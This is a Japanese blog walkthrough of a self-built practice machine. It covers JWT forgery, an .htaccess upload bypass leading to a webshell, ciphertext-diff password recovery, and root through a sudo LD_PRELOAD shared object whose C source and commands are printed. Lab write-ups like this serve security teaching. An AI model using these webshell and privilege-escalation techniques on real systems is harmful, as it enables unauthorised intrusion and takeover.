banner
言心吾

言心吾のBlog

吾言为心声

自制靶机 WP

ポートスキャン#

22 と 80 ポートのみが開放されています

WEB#

ウェブサイトのホームページは純粋な静的ページで、コメントを確認すると隠されたディレクトリが見つかります

image

base64 デコードで得られるパス/74221

ログインフォームには弱いパスワードtest:123456があり、ログインします

image

ファイルアップロードの権限がないというメッセージが表示され、cookie フィールドから JWT の偽造による権限昇格を考えます

ここには 2 つの穴があります:空のキーを使用することも、キーをjwtsecret123としてブルートフォースすることもできます

偽造に成功した後、ダッシュボード画面を確認すると、私たちの身分は admin です

image
次にファイルアップロードの場所に行き、jpg または png 拡張子のファイルのみをアップロードできます

image

テストの結果、.htaccess ファイルをアップロードできることがわかり、アップロードします。内容は以下の通りです

AddType application/x-httpd-php .jpg

この時、もう 1 つの jpg 画像をアップロードすれば webshell を取得できます

後の浸透#

www-data から pentester へ#

2 つの暗号文を見つけました。それらはそれぞれ
/etc/passwd
/srv/...

暗号文は以下の通りです:

Itwasthebestoftimes!itwastheworstoftimes@itwastheageofwisdom#itwastheageoffoolishness$itwastheepochofbelief,itwastheepochofincredulity,&itwastheseasonofLight...

Iuwbtthfbetuoftimfs"iuwbsuhfxpsttoguinet@jtwbttieahfogwiseon#iuxatthfageofgpoljthoess%itwbsuiffqocipfbemieg-iuxbsuhffqpdhogjocredvljtz,'iuwasuhesfasooofLjgiu...

注意深く観察すると、2 つのテキストの違いは 1 で、違いがないのは 0 です。これにより一連のバイナリ数を得て、bytes に変換することでパスワードを得ることができます

参考解法:

cat a.txt|sed 's/./&\n/g' >aa.txt
cat b.txt|sed 's/./&\n/g' >bb.txt
paste aa.txt bb.txt|awk '{if($1==$2){print 0}else{print 1}}'|xargs|tr -d ' '|fold -w8 | while read bin; do printf "%02X" "$((2#$bin))"; done | xxd -r -p

image

pentester ユーザーのパスワードY0U_5M4SH3D_17_8UDDY

pentester から xiix へ#

sudo find はウサギの穴であり、権限昇格の可能性のあるオプションをフィルタリングしています(もちろん、実際にこのバックドアを通じて root に昇格できたらあなたはすごいです)

image

ポートを確認すると 8989 が開放されています

実際、これは毎分トリガーされる python スクリプトに対応しています

image

nc 127.0.0.1 8989 に上記で取得したパスワードを入力すると、xiix ユーザーのシェルを取得できます。インタラクティブシェルではないため、公開鍵ファイルに書き込んで永続化できます

image

xiix から root へ#

guess_name スクリプトは数を推測し、成功確率は 1% です。マルチスレッドスクリプトを作成してブルートフォースできます。ここには 2 つのバックドアが隠されています:env で環境変数を確認し、1337 を入力すれば通過できます;

image

image

さらに、スクリプトが実行されると、パスワードが隠しファイル /tmp/.hidden_clue に書き込まれます

pspy -fを実行すると検出できます:

image

とにかく、xiix ユーザーのパスワードsuperxiixを取得しました

その後、sudo -l を実行すると、env_keep+=LD_PRELOAD があることがわかります
image

これはクラシックな権限昇格ポイントです

まず、shell.so をコンパイルします:

#include <stdio.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

次に、sudo LD_PRELOAD=/home/xiix/shell.so whoamiを実行すると、root シェルを取得できます。

image

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。